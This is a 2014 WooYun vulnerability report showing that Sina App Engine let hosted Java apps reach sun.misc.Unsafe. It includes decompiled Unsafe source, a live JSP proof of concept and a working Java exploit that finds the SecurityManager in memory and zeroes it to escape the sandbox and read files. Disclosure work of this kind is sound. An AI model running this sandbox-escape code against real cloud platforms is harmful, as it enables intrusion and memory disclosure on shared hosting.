SAE允许JVM内存对象直接读写操作 | wooyun-2014-072739| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-072739

漏洞标题：SAE允许JVM内存对象直接读写操作

漏洞作者： Nebula

提交时间：2014-08-17 00:21

修复时间：2014-10-01 00:22

公开时间：2014-10-01 00:22

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-17：细节已通知厂商并且等待厂商处理中
2014-08-19：厂商已经确认，细节仅向厂商公开
2014-08-29：细节向核心白帽子及相关领域专家公开
2014-09-08：细节向普通白帽子公开
2014-09-18：细节向实习白帽子公开
2014-10-01：细节向公众公开

简要描述：

RT!

详细说明：

//本来想写篇文章的,但怕牵扯到某些公司云沙盒环境

sun.misc.Unsafe是当年sun公司操作内存的内部API,没有公开.有些JDK已经去掉了这个类.但大部分的jdk依然保留着.

sun.misc.Unsafe看名字就知道,不安全的.反编译的大致源码:
  
package sun.misc;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import sun.reflect.Reflection;
public final class Unsafe
{
  private static final Unsafe theUnsafe;
  public static final int INVALID_FIELD_OFFSET = -1;
  private static native void registerNatives();
  public static Unsafe getUnsafe()
  {
    Class localClass = Reflection.getCallerClass(2);
    if (localClass.getClassLoader() != null)
      throw new SecurityException("Unsafe");
    return theUnsafe;
  }
  public native int getInt(Object paramObject, long paramLong);
  public native void putInt(Object paramObject, long paramLong, int paramInt);
  public native Object getObject(Object paramObject, long paramLong);
  public native void putObject(Object paramObject1, long paramLong, Object paramObject2);
  public native boolean getBoolean(Object paramObject, long paramLong);
  public native void putBoolean(Object paramObject, long paramLong, boolean paramBoolean);
  public native byte getByte(Object paramObject, long paramLong);
  public native void putByte(Object paramObject, long paramLong, byte paramByte);
  public native short getShort(Object paramObject, long paramLong);
  public native void putShort(Object paramObject, long paramLong, short paramShort);
  public native char getChar(Object paramObject, long paramLong);
  public native void putChar(Object paramObject, long paramLong, char paramChar);
  public native long getLong(Object paramObject, long paramLong);
  public native void putLong(Object paramObject, long paramLong1, long paramLong2);
  public native float getFloat(Object paramObject, long paramLong);
  public native void putFloat(Object paramObject, long paramLong, float paramFloat);
  public native double getDouble(Object paramObject, long paramLong);
  public native void putDouble(Object paramObject, long paramLong, double paramDouble);
  @Deprecated
  public int getInt(Object paramObject, int paramInt)
  {
    return getInt(paramObject, paramInt);
  }
  @Deprecated
  public void putInt(Object paramObject, int paramInt1, int paramInt2)
  {
    putInt(paramObject, paramInt1, paramInt2);
  }
  @Deprecated
  public Object getObject(Object paramObject, int paramInt)
  {
    return getObject(paramObject, paramInt);
  }
  @Deprecated
  public void putObject(Object paramObject1, int paramInt, Object paramObject2)
  {
    putObject(paramObject1, paramInt, paramObject2);
  }
  @Deprecated
  public boolean getBoolean(Object paramObject, int paramInt)
  {
    return getBoolean(paramObject, paramInt);
  }
  @Deprecated
  public void putBoolean(Object paramObject, int paramInt, boolean paramBoolean)
  {
    putBoolean(paramObject, paramInt, paramBoolean);
  }
  @Deprecated
  public byte getByte(Object paramObject, int paramInt)
  {
    return getByte(paramObject, paramInt);
  }
  @Deprecated
  public void putByte(Object paramObject, int paramInt, byte paramByte)
  {
    putByte(paramObject, paramInt, paramByte);
  }
  @Deprecated
  public short getShort(Object paramObject, int paramInt)
  {
    return getShort(paramObject, paramInt);
  }
  @Deprecated
  public void putShort(Object paramObject, int paramInt, short paramShort)
  {
    putShort(paramObject, paramInt, paramShort);
  }
  @Deprecated
  public char getChar(Object paramObject, int paramInt)
  {
    return getChar(paramObject, paramInt);
  }
  @Deprecated
  public void putChar(Object paramObject, int paramInt, char paramChar)
  {
    putChar(paramObject, paramInt, paramChar);
  }
  @Deprecated
  public long getLong(Object paramObject, int paramInt)
  {
    return getLong(paramObject, paramInt);
  }
  @Deprecated
  public void putLong(Object paramObject, int paramInt, long paramLong)
  {
    putLong(paramObject, paramInt, paramLong);
  }
  @Deprecated
  public float getFloat(Object paramObject, int paramInt)
  {
    return getFloat(paramObject, paramInt);
  }
  @Deprecated
  public void putFloat(Object paramObject, int paramInt, float paramFloat)
  {
    putFloat(paramObject, paramInt, paramFloat);
  }
  @Deprecated
  public double getDouble(Object paramObject, int paramInt)
  {
    return getDouble(paramObject, paramInt);
  }
  @Deprecated
  public void putDouble(Object paramObject, int paramInt, double paramDouble)
  {
    putDouble(paramObject, paramInt, paramDouble);
  }
  public native byte getByte(long paramLong);
  public native void putByte(long paramLong, byte paramByte);
  public native short getShort(long paramLong);
  public native void putShort(long paramLong, short paramShort);
  public native char getChar(long paramLong);
  public native void putChar(long paramLong, char paramChar);
  public native int getInt(long paramLong);
  public native void putInt(long paramLong, int paramInt);
  public native long getLong(long paramLong);
  public native void putLong(long paramLong1, long paramLong2);
  public native float getFloat(long paramLong);
  public native void putFloat(long paramLong, float paramFloat);
  public native double getDouble(long paramLong);
  public native void putDouble(long paramLong, double paramDouble);
  public native long getAddress(long paramLong);
  public native void putAddress(long paramLong1, long paramLong2);
  public native long allocateMemory(long paramLong);
  public native long reallocateMemory(long paramLong1, long paramLong2);
  public native void setMemory(long paramLong1, long paramLong2, byte paramByte);
  public native void copyMemory(Object paramObject1, long paramLong1, Object paramObject2, long paramLong2, long paramLong3);
  public void copyMemory(long paramLong1, long paramLong2, long paramLong3)
  {
    copyMemory(null, paramLong1, null, paramLong2, paramLong3);
  }
  public native void freeMemory(long paramLong);
  @Deprecated
  public int fieldOffset(Field paramField)
  {
    if (Modifier.isStatic(paramField.getModifiers())) {
      return (int)staticFieldOffset(paramField);
    }
    return (int)objectFieldOffset(paramField);
  }
  @Deprecated
  public Object staticFieldBase(Class paramClass)
  {
    Field[] arrayOfField = paramClass.getDeclaredFields();
    for (int i = 0; i < arrayOfField.length; i++) {
      if (Modifier.isStatic(arrayOfField[i].getModifiers())) {
        return staticFieldBase(arrayOfField[i]);
      }
    }
    return null;
  }
  public native long staticFieldOffset(Field paramField);
  public native long objectFieldOffset(Field paramField);
  public native Object staticFieldBase(Field paramField);
  public native void ensureClassInitialized(Class paramClass);
  public native int arrayBaseOffset(Class paramClass);
  public native int arrayIndexScale(Class paramClass);
  public native int addressSize();
  public native int pageSize();
  public native Class defineClass(String paramString, byte[] paramArrayOfByte, int paramInt1, int paramInt2, ClassLoader paramClassLoader, ProtectionDomain paramProtectionDomain);
  public native Class defineClass(String paramString, byte[] paramArrayOfByte, int paramInt1, int paramInt2);
  public native Object allocateInstance(Class paramClass)
    throws InstantiationException;
  public native void monitorEnter(Object paramObject);
  public native void monitorExit(Object paramObject);
  public native boolean tryMonitorEnter(Object paramObject);
  public native void throwException(Throwable paramThrowable);
  public final native boolean compareAndSwapObject(Object paramObject1, long paramLong, Object paramObject2, Object paramObject3);
  public final native boolean compareAndSwapInt(Object paramObject, long paramLong, int paramInt1, int paramInt2);
  public final native boolean compareAndSwapLong(Object paramObject, long paramLong1, long paramLong2, long paramLong3);
  public native Object getObjectVolatile(Object paramObject, long paramLong);
  public native void putObjectVolatile(Object paramObject1, long paramLong, Object paramObject2);
  public native int getIntVolatile(Object paramObject, long paramLong);
  public native void putIntVolatile(Object paramObject, long paramLong, int paramInt);
  public native boolean getBooleanVolatile(Object paramObject, long paramLong);
  public native void putBooleanVolatile(Object paramObject, long paramLong, boolean paramBoolean);
  public native byte getByteVolatile(Object paramObject, long paramLong);
  public native void putByteVolatile(Object paramObject, long paramLong, byte paramByte);
  public native short getShortVolatile(Object paramObject, long paramLong);
  public native void putShortVolatile(Object paramObject, long paramLong, short paramShort);
  public native char getCharVolatile(Object paramObject, long paramLong);
  public native void putCharVolatile(Object paramObject, long paramLong, char paramChar);
  public native long getLongVolatile(Object paramObject, long paramLong);
  public native void putLongVolatile(Object paramObject, long paramLong1, long paramLong2);
  public native float getFloatVolatile(Object paramObject, long paramLong);
  public native void putFloatVolatile(Object paramObject, long paramLong, float paramFloat);
  public native double getDoubleVolatile(Object paramObject, long paramLong);
  public native void putDoubleVolatile(Object paramObject, long paramLong, double paramDouble);
  public native void putOrderedObject(Object paramObject1, long paramLong, Object paramObject2);
  public native void putOrderedInt(Object paramObject, long paramLong, int paramInt);
  public native void putOrderedLong(Object paramObject, long paramLong1, long paramLong2);
  public native void unpark(Object paramObject);
  public native void park(boolean paramBoolean, long paramLong);
  public native int getLoadAverage(double[] paramArrayOfDouble, int paramInt);
  static
  {
    registerNatives();
    theUnsafe = new Unsafe();
  }
}

看到我们是无法去new这个类的,但是看到最后几行:
  static
  {
    registerNatives();
    theUnsafe = new Unsafe();
  }
 默认是由于自己初始化的,它有个 (private static final Unsafe theUnsafe;)theUnsafe属性,那我们可以用反射去调用它了.

Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (sun.misc.Unsafe) field.get(null);//获取实例

有人说它是sun公司留下的后门,呵呵!

漏洞证明：

SAE使用的openjdk也有这个类,且没有禁用掉.

用unsafe去申请1个字节的内存,并赋值123456:
index.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page language="java" import="java.lang.reflect.Field,sun.misc.Unsafe" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title></title>
</head>
<body>
<%
	
java.lang.reflect.Field	field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");		
field.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
long address=unsafe.allocateMemory(1);
long value=123456;
unsafe.putLong(address, value);
%>
申请的地址: <%= address%><br>
获取地址填充的值123456: <%= unsafe.getAddress(address)%><br>
释放内存:<% unsafe.freeMemory(address);%>******<br>
获取地址填充的值123456: <%= unsafe.getAddress(address)%>
</body>
</html>
http://unsafe1.sinaapp.com/

申请的地址: 140193168417552,可以看到地址是140193168417552,根我想像的云环境内存分配不一样,没有隔离内存.
  我大致计算了一下,大概:130565个G=140193168417552/(1024*1024*1024)
 大概是我们应用所在环境的内存使用总量,可以多刷新自己看看变化幅度.

创建java应用,JVM上限是1个G.但能使用unsafe这个类,这就不对了!
long address=unsafe.allocateMemory(1024*1024*1700);
  
申请1.7G内存:
http://unsafe1.sinaapp.com/1700M_allocateMemory.jsp

1700M_allocateMemory.jsp
java.lang.reflect.Field	field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");		
field.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
long address=unsafe.allocateMemory(1024*1024*1700);

由于操作系统限制,JVM申请内存在这个版本的Linux是2G左右(我win环境下,大概是1个G多点),超过就报错!

注意Unsafe申请的内存不是由JVM管理的,是由创建者自己去管理.使用Runtime.maxMemory(); 是无法查看到它的.
  所以用Runtime.maxMemory(); 是无法查看的.其实JVM也是调用它去申请内存,只不过我这里是直接调用它.

我们去随意写个错误地址:unsafe.putLong(11111, 1);会让JVM直接挂掉的.

除了内存信息泄露及内存使用越权外,似乎没什么用了,因为内存中每个JVM是隔离的.但注意,可以读写JVM的内存,那我们可以读写JVM中每个对象,对的,能读写SecurityManager这个对象.

SAE沙盒环境是重写jdk默认自带的SecurityManager类(安全管理器类).
http://unsafe1.sinaapp.com/securityManager.jsp

securityManager.jsp
<%=System.getSecurityManager()%>

jdk默认沙盒环境(包括applet),也是不允许访问这个类的(连所在包都是不允许的):

而SAE重写SecurityManager这个类时,正好漏掉了这层限制...

原理:获取沙盒对象地址,从JVM的内存中去掉(填充为0),从而去掉沙盒限制!
 
 以下是我在这一场景的bypass沙盒环境测试demo.由于对内存读写不熟悉,仓促完成了32位HotSpot(TM)jdk粗糙PoC,SAE 64位openjdk 的PoC待有缘人去完成它!

MySecurityManager.java

import java.security.Permission;
  
public class MySecurityManager extends SecurityManager {  
  
	
	
	private String path="C:\\sandbox"; //win环境,安全路径限制示例
	
	public void setPath(String path) {
		this.path = path;
	}  
	
	
	
    @Override  
    public void checkRead(String file) {  //此为测试demo,file操作存在其他绕过,不要模仿
    	
    	System.out.println("file:"+file);
    	
    	//System.out.println("path:"+this.path);
    	
    	
        if (!file.startsWith(this.path))  {
        	
            throw new SecurityException("沙盒安全目录限制...");  
            
        }
        
    }  
  
    
    
    //这里重写checkPermission方法,破坏原有权限结构;开放相关权限
  
    
    /*  */@Override 
    public void checkPermission(Permission perm) {
       
    	
  
    }
    
  
    
  
}

Test.java

import java.io.FileInputStream;
import java.lang.reflect.Field;
import sun.misc.Unsafe;
public class Test {
	
	
	public static long normalize(int value) {
		
		
		 // System.out.println(value);
		    if(value >= 0) return value;
		
		    return (~0L >>> 32) & value;
		
		}
	
	public static long toAddress(Unsafe unsafe,Object obj) {
		
		    Object[] array = new Object[] {obj};
		
		    long baseOffset = unsafe.arrayBaseOffset(Object[].class);
		    
		    
		    //System.out.println(baseOffset);
		
		   return normalize(unsafe.getInt(array, baseOffset));
		    
			/*
		    int baseOffset = unsafe.arrayBaseOffset(Object[].class);
		    return normalize(unsafe.getInt(array,baseOffset ));
		    */
		
		}
	
	
	
	public static void disableSecurity() throws Exception {
		
		
		
		Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
		field.setAccessible(true);
		Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
		
		long address=unsafe.allocateMemory(1);
		
	
	
		long sys =toAddress(unsafe,java.lang.System.class);
		
		
		long sm =toAddress(unsafe,java.lang.System.getSecurityManager());
		
		sys=unsafe.getAddress(sys+4L);
		
		
		
		/*   */
		
		for (int i = 0; i < 1000000; i++) {
			
			long addr = sys + i * 4;
			long val =unsafe.getAddress(addr);
			
			if (val == sm) {
			
				unsafe.putAddress(addr, 0);
				
				if (System.getSecurityManager() == null) {
					
					System.out.println("SecurityManager关闭!!!");
					
					break;
				}
				
			}
			
			
		}
	
	
	
	}
	
	public static void main(String[] args) throws Exception {
		
		
		System.out.println("sys "+System.getProperty("sun.arch.data.model")+" bit");
		
		
    	MySecurityManager mySecurityManager=new MySecurityManager();
    	
    	
    	
        System.setSecurityManager(mySecurityManager);  
		
		
		if (System.getSecurityManager() != null) {
			
			System.out.println("SecurityManager启动!!!");
			
			
		}
        
		//关掉沙盒
		Test.disableSecurity();
		
        
        /*    
        
        bypass 1:  代码不严谨,没有处理路径回溯符/../
       
       	*/
       
        FileInputStream fis = new FileInputStream("C:\\1.log");  
       
       //FileInputStream fis = new FileInputStream("C:\\sandbox\\..\\1.log");  
       
       
       
      System.out.println(fis.read());//读取一个字节
		
      
      
      
		
	
		
		
	
	}
}

修复方案：

最好限制这个包:sun.misc.*访问!(由于百度BAE欠费,就没测试它.至于GAE,我相信他们是禁用了这个类)

版权声明：转载请注明来源 Nebula@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-08-19 20:37

厂商回复：

感谢对新浪安全工作的支持，漏洞正在修复。

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-072739

漏洞标题：SAE允许JVM内存对象直接读写操作

相关厂商：新浪

漏洞作者： Nebula

提交时间：2014-08-17 00:21

修复时间：2014-10-01 00:22

公开时间：2014-10-01 00:22

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Nebula@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-072739

漏洞标题：SAE允许JVM内存对象直接读写操作

相关厂商：新浪

漏洞作者： Nebula

提交时间：2014-08-17 00:21

修复时间：2014-10-01 00:22

公开时间：2014-10-01 00:22

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

Tags标签： 无

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漏洞详情

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简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Nebula@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

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